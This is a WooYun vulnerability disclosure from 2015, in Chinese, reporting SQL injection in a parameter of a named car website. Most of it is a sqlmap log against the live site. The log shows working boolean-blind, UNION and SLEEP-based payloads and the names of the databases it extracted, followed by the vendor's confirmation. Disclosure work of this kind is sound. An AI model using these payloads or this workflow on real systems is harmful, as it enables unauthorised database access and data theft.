破壳企业应急安全(防御方向)课程 应急响应 勒索病毒 挖矿木马 DDOS 日志分析

爱卡汽车网某站点SQL注入漏洞可跨库

编号91977
Urlhttp://www.wooyun.org/bug.php?action=view&id=91977
漏洞状态厂商已经确认
漏洞标题爱卡汽车网某站点SQL注入漏洞可跨库
漏洞类型SQL注射漏洞
厂商爱卡汽车网
白帽子#6c6c6c
提交日期2015-01-15 09:38:00
公开日期2015-03-01 09:40:00
修复时间(not set)
确认时间2015-01-15 00:00:00
Confirm Spend0
漏洞标签sql
关注数0
收藏数0
白帽评级
白帽自评rank15
厂商评级
厂商评rank15
漏洞简介
sql,求rank啊
漏洞细节

注入地址:http://topic.xcar.com.cn/201107/jlys/list.php?iscar=1&count=21&per=8&cu
r=1
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 06:31:47
[06:31:48] [INFO] using 'F:\桌面\渗透工具\sqlmap GUI汉化版\rar\output\topic.xcar
.com.cn\session' as session file
[06:31:48] [INFO] testing connection to the target url
[06:31:48] [INFO] testing if the url is stable, wait a few seconds
[06:31:49] [INFO] url is stable
[06:31:49] [INFO] testing if GET parameter 'iscar' is dynamic
[06:31:54] [INFO] confirming that GET parameter 'iscar' is dynamic
[06:31:58] [INFO] GET parameter 'iscar' is dynamic
[06:31:58] [WARNING] heuristic test shows that GET parameter 'iscar' might not b
e injectable
[06:31:58] [INFO] testing sql injection on GET parameter 'iscar'
[06:31:58] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[06:32:01] [INFO] GET parameter 'iscar' is 'AND boolean-based blind - WHERE or H
AVING clause' injectable
[06:32:01] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[06:32:01] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[06:32:02] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[06:32:02] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[06:32:02] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[06:32:02] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[06:32:02] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[06:32:02] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[06:33:02] [INFO] GET parameter 'iscar' is 'MySQL > 5.0.11 AND time-based blind'
injectable
[06:33:02] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[06:33:03] [INFO] target url appears to be UNION injectable with 8 columns
[06:33:05] [INFO] GET parameter 'iscar' is 'MySQL UNION query (NULL) - 1 to 10 c
olumns' injectable
GET parameter 'iscar' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] y
[06:34:35] [INFO] testing if GET parameter 'count' is dynamic
[06:34:36] [INFO] confirming that GET parameter 'count' is dynamic
[06:34:36] [INFO] GET parameter 'count' is dynamic
[06:34:36] [WARNING] heuristic test shows that GET parameter 'count' might not b
e injectable
[06:34:36] [INFO] testing sql injection on GET parameter 'count'
[06:34:36] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[06:34:38] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[06:34:39] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[06:34:39] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[06:34:40] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[06:34:40] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[06:34:41] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[06:34:42] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[06:34:42] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[06:34:43] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[06:34:43] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[06:34:44] [INFO] testing 'Oracle AND time-based blind'
[06:34:44] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[06:34:52] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[06:35:01] [WARNING] GET parameter 'count' is not injectable
[06:35:01] [INFO] testing if GET parameter 'per' is dynamic
[06:35:02] [INFO] confirming that GET parameter 'per' is dynamic
[06:35:02] [INFO] GET parameter 'per' is dynamic
[06:35:02] [WARNING] heuristic test shows that GET parameter 'per' might not be
injectable
[06:35:02] [INFO] testing sql injection on GET parameter 'per'
[06:35:02] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[06:35:03] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[06:35:03] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[06:35:04] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[06:35:04] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[06:35:04] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[06:35:05] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[06:35:05] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[06:35:05] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[06:35:06] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[06:35:06] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[06:35:06] [INFO] testing 'Oracle AND time-based blind'
[06:35:07] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[06:35:10] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[06:35:14] [WARNING] GET parameter 'per' is not injectable
[06:35:14] [INFO] testing if GET parameter 'cur' is dynamic
[06:35:14] [INFO] confirming that GET parameter 'cur' is dynamic
[06:35:14] [INFO] GET parameter 'cur' is dynamic
[06:35:15] [WARNING] heuristic test shows that GET parameter 'cur' might not be
injectable
[06:35:15] [INFO] testing sql injection on GET parameter 'cur'
[06:35:15] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[06:35:17] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[06:35:17] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[06:35:18] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[06:35:18] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[06:35:19] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[06:35:19] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[06:35:20] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[06:35:20] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[06:35:21] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[06:35:21] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[06:35:25] [INFO] testing 'Oracle AND time-based blind'
[06:35:26] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[06:35:33] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[06:35:41] [WARNING] GET parameter 'cur' is not injectable
sqlmap identified the following injection points with a total of 477 HTTP(s) req
uests:
---
Place: GET
Parameter: iscar
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: iscar=1 AND 5298=5298&count=21&per=8&cur=1
Type: UNION query
Title: MySQL UNION query (NULL) - 8 columns
Payload: iscar=1 UNION ALL SELECT NULL, NULL, NULL, CONCAT(0x3a666a743a,0x53
63456b474961614b71,0x3a7671743a), NULL, NULL, NULL, NULL#&count=21&per=8&cur=1
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: iscar=1 AND SLEEP(5)&count=21&per=8&cur=1
---
[06:35:41] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5.0.11
[06:35:41] [INFO] fetching database names
[06:35:41] [INFO] the SQL query used returns 8 entries
[06:35:41] [INFO] retrieved: "information_schema"
[06:35:41] [INFO] retrieved: "bd_seo"
[06:35:41] [INFO] retrieved: "branchdb"
[06:35:42] [INFO] retrieved: "seo"
[06:35:42] [INFO] retrieved: "test"
[06:35:42] [INFO] retrieved: "xcardb"
[06:35:42] [INFO] retrieved: "xcardb2"
[06:35:42] [INFO] retrieved: "xcardb2_new"
available databases [8]:
[*] bd_seo
[*] branchdb
[*] information_schema
[*] seo
[*] test
[*] xcardb
[*] xcardb2
[*] xcardb2_new
[06:35:42] [INFO] Fetched data logged to text files under 'F:\桌面\渗透工具\sqlm
ap GUI汉化版\rar\output\topic.xcar.com.cn'
[*] shutting down at 06:35:42

POC

修复方案

状态信息 2015-01-15: 细节已通知厂商并且等待厂商处理中
2015-01-15: 厂商已经确认,细节仅向厂商公开
2015-01-25: 细节向核心白帽子及相关领域专家公开
2015-02-04: 细节向普通白帽子公开
2015-02-14: 细节向实习白帽子公开
2015-03-01: 细节向公众公开
厂商回复感谢@#6c6c6c 白帽子的帮助,我们会马上修复!
回应信息危害等级:高漏洞Rank:15 确认时间:2015-01-15 09:46